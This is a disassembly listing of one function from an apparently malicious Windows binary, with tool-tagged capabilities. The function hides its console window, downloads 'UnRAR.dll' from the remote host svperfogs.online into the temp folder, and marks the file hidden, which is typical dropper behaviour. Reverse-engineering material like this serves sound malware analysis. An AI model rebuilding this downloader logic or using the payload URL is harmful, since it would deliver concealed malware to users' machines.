Function at 0x404130
Capabilities:
Download url
Get common file path
Hide graphical window
Receive data
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x45a401
mov eax, dword fs:[0]
push eax
sub esp, 0x3a0
mov eax, dword [0x477040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
call dword [sym.imp.KERNEL32.dll_FreeConsole]
push 0
push str.ConsoleWindowClass
call dword [sym.imp.USER32.dll_FindWindowA]
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 0x104
lea eax, [ebp - 0x31c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
lea eax, [ebp - 0x31c]
push eax
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov esi, eax
lea ecx, [ebp - 0x370]
push 0
push esi
call fcn.00404860
push 0
push 0
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x36c]
cmp dword [ebp - 0x358], 0xf
lea eax, [ebp - 0x31c]
push esi
cmova ecx, dword [ebp - 0x36c]
push ecx
push 0xffffffffffffffff
push eax
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
lea eax, [ebp - 0x114]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
test eax, eax
je 0x404269
push str.UnRAR.dll
lea eax, [ebp - 0x114]
push 0x104
push eax
call fcn.00429290
add esp, 0xc
lea eax, [ebp - 0x114]
push 0
push 0
push eax
push str.https:__svperfogs.online_stub_UnRAR.dll
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
js 0x404262
push 2
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov edx, str.downlad_on:
mov ecx, 0x478210
call fcn.00406c60
lea edx, [ebp - 0x114]
jmp 0x404273
mov edx, str.Error_donload.
jmp 0x40426e
mov edx, str.Error_getting_directory.
mov eax, 0x4783c8
mov ecx, eax
call fcn.00406c60
push eax
call fcn.00406f00
call fcn.00404450
sub esp, 0x1c
mov ecx, esp
push 0x47970c
call fcn.00404990
lea ecx, [ebp - 0x390]
call fcn.004036b0
add esp, 0x1c
mov byte [ebp - 4], 1
lea edx, [eax + 4]
cmp dword [eax + 0x18], 0xf
jbe 0x4042b1
mov edx, dword [edx]
mov ecx, edx
mov dword [ebp - 0x354], 0
xorps xmm0, xmm0
mov dword [ebp - 0x340], 0
movups xmmword [ebp - 0x350], xmm0
mov dword [ebp - 0x33c], 0
lea esi, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4042e0
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x354]
call fcn.004070d0
lea ecx, [ebp - 0x390]
mov byte [ebp - 4], 3
call fcn.00405770
mov eax, dword [ebp - 0x390]
push 8
push eax
mov dword [ebp - 0x390], 0
call fcn.00410400
sub esp, 0x14
mov ecx, esp
push 0x4796ec
call fcn.00404990
lea ecx, [ebp - 0x3ac]
call fcn.00403bf0
add esp, 0x1c
mov byte [ebp - 4], 4
lea edx, [eax + 4]
cmp dword [eax + 0x18], 0xf
jbe 0x404349
mov edx, dword [edx]
mov ecx, edx
mov dword [ebp - 0x338], 0
xorps xmm0, xmm0
mov dword [ebp - 0x324], 0
movups xmmword [ebp - 0x334], xmm0
mov dword [ebp - 0x320], 0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x404376
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x338]
call fcn.004070d0
lea ecx, [ebp - 0x3ac]
call fcn.00405770
mov eax, dword [ebp - 0x3ac]
push 8
push eax
mov dword [ebp - 0x3ac], 0
call fcn.00410400
add esp, 8
lea ecx, [ebp - 0x338]
call fcn.00405770
mov eax, dword [ebp - 0x338]
push 8
push eax
mov dword [ebp - 0x338], 0
call fcn.00410400
add esp, 8
lea ecx, [ebp - 0x354]
call fcn.00405770
mov eax, dword [ebp - 0x354]
push 8
push eax
mov dword [ebp - 0x354], 0
call fcn.00410400
add esp, 8
lea ecx, [ebp - 0x370]
call fcn.00405770
mov eax, dword [ebp - 0x370]
push 8
push eax
mov dword [ebp - 0x370], 0
call fcn.00410400
add esp, 8
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004103f0
mov esp, ebp
pop ebp
ret